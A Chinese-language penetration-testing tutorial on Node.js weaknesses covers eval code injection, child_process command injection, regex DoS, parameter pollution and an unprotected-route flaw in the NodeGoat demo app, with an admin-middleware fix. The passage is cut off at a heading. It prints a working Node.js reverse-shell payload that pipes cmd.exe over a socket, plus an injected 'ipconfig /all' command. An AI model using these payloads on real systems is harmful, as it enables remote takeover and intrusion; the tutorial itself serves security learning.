在本文中我们将介绍,在渗透中遇到 Node.js 应用如何处理,以及常见的一些 Node.js 的漏洞。
ி 介绍
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其对于数据敏感的应用程序来说既轻量又高效。它是单线类型的服务,这也意味着,任何善意的或恶意的 DOS 将直接导致服务挂死,所有接入的客户端离线,所以做好采用负载均衡的多实例方式。本文中,我们将介绍一些 Node.js 方面的漏洞,以及介绍在实际中如何利用。
ி
信息采集
与针对其他 WEB 应用的信息采集阶段一样,我们要留意比如特殊的 cookies name[“connect.sid”],server以及 X-powered-By 等头信息。如下图所示,X-powered-By 显示该应用是基于 Express 框架的。之后,我们可以深挖更多关于此框架的漏洞信息。
ி
漏洞分析和利用
现在我们知道了一个简单的判断 Node.js 应用的方法。我们继续关注一下其漏洞,常见漏洞类型如下:
-
Server Side Code Injection(服务端代码注入)
-
System Command Injection(系统命令注入)
-
Regex DOS(正则DOS)
-
HTTP Parameter Pollution(HTTP 参数污染)
-
Unprotected Routes(未保护的路由)
-
Global Namespace Pollution(全局命名空间污染)
-
Cross Site Scripting(XSS)
-
Insecure Components(不安全的组件)
-
Secure Code Review(安全代码Review)
ி
Server Side Code Injection
Node.js 的代码注入同样围绕著名的函数”eval”。所以,一定不要在你的代码中使用eval 函数,同样也意味着不要直接将用户输入的数据直接插入到任何系统函数中,比如 setTimeOut,setInterval 等。
在我们的 demo 代码中,我们使用 eval 函数转换输入的参数类型,本例中是整型,之后将其相加,返回和。我们可以使用函数 parseInt 实现相同的功能。
正如看到的,我们可以直接执行我们的 payload,强制应用退出。
如下代码可以实现一个反向 Shell
function rev(host,port){
var net = require('net');
var cp = require('child_process');
var cmd = cp.spawn('cmd.exe', []);
var client = new net.Socket();
client.connect(port, host, function(){
client.write('Connected\r\n'); client.pipe(cmd.stdin); cmd.stdout.pipe(client);
cmd.stderr.pipe(client);
client.on( 'exit', function(code,signal){ client.end('Disconnected\r\n'); } );
client.on( 'error',function(e){ setTimeout( rev(host,port), 5000); })
});};rev('127.0.0.1', 4444);
ி
System Command Execution
当 review 一段 Node.js 代码时,一定要留意模块 child_process 的函数,因为这个模块包含了创建一个新进程来执行系统命令的功能。如下,我们一段 demo 来执行 Ping 命令。但是没有验证穿入得参数 ip,从而导致命令执行。
可以添加命令:ipconfig /all
ி
Regex DOS(Denial of Service)
正则表达式的 DOS 攻击主要围绕着术语叫做:Catastrophic Backtracking 的方式来进行,暗含着正则引擎如何解析用户特定匹配模式语句。看如下的例子:
此处我们要查找以 x 开始,y 结束的字符串,此刻有一个问题,如果用户输入的字符串并没有以 y 结尾,而是一直重复多个x呢?每一个 x 将导致重复 backtrack,最终将会陷入无限的 backtrack 循环,直到确定结尾是否有 y。如下我们可以看到正确的使用:
此处只提供了特定数量的 x。日下图所示,执行时间增加了近 1 秒钟。Node.js 是单线程程序,假设大量用户在同一时刻使用了同样的服务呢?
ி
HTTP Parameter Pollution
Node.js 有一个奇怪的特性,允许一个参数有多个值。假设有一个参数叫做 email,我们给这个参数传递了多个值,最终 email 参数将包含这两个值,两个值之间用逗号隔开。
该特性可用来进行参数解析漏洞的利用。
ி
Unprotected Routes
现在大部分应用程序都采用 MVC 架构。我们首先了解这个 MVC 是什么。MVC 将应用程序分成三个逻辑组件:Model,View,Controller。其有效地帮助开发人员和软件架构师将业务逻辑从代码层面分离出来。
所有的 URL 被称为路由,保存在路由文件中。有一个“路由器”来协调当用户点击了链接
http://www.example.com/abc
时,应该触发那个控制器。
而在可信和不可信路由之间就容易产生这样一个问题,从名字我们就可以猜到,可信的路由就是某用户登陆以后有权限访问的页面 URL。
为了演示这个功能, 我们构建了一个 Node.js 的测试平台 Nodegoat。它是一个有多个用户的退休金管理平台。但是只有一个管理员可以查看其他用户的退休金。
如下所示,退休金路由(URL)并没有检查访问用户是否是管理员,因此任意的用户都能查看他人的退休金 。
如下所示,我们以普通用户身份登录,没有显示退休金的功能:
我们以管理员登录,该功能出现了:
为了验证上述漏洞,我们切换到普通用户,强制浏览器访问退休金页面,我们成功的查看到了页面的内容:
ி
修复未保护的路由(URL)
我们增加一个 isAdmin 的中间件来确保只有管理员可以访问该页面:
之后,我们又一次尝试访问退休金页面,则被跳转到重新登陆页面:
ி
Global Namespace Pollution